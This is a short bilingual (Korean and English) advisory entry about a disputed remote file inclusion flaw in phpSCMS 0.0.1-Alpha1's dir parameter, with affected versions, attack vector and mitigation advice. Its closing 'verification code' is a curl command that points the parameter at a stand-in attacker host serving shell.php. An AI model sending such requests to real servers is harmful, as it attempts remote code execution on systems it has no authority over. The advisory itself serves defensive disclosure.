🇰🇷 한글 설명
phpSCMS 0.0.1-Alpha1의 includes/functions.php 파일에 존재하는 원격 파일 포함(RFI) 취약점입니다. dir 매개변수를 통해 공격자가 악의적인 PHP 코드를 실행할 수 있습니다. 다만, 해당 코드가 직접 요청으로 접근 불가능한 함수 내에 있어 CVE에서 논쟁의 여지가 있습니다.
💡 쉬운 설명
phpSCMS 초기 버전에서 웹사이트가 외부 파일을 잘못 로드할 수 있는 문제가 있습니다. 공격자가 이를 악용하여 서버에서 악의적인 명령을 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in includes/functions.php in phpSCMS 0.0.1-Alpha1 allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter. NOTE: this issue is disputed by CVE because the identified code is in a function that is not accessible via direct request
📍 영향받는 시스템
phpSCMS 0.0.1-Alpha1
⚔️ 공격 벡터
HTTP GET/POST를 통해 dir 매개변수에 원격 파일 URL 삽입
🛡️ 대응 방법
최신 버전으로 업그레이드 또는 dir 매개변수 입력값 검증 및 필터링 적용
🔧 검증 코드
curl 명령이 원격 파일을 로드하지 못하면 'error'나 'warning'이 나타나고, 취약점이 있으면 원격 코드 실행의 증거가 보일 수 있습니다.
curl -s 'http://target/index.php?dir=http://attacker.com/shell.php' | grep -i 'error\|warning' || echo 'RFI vulnerability may exist'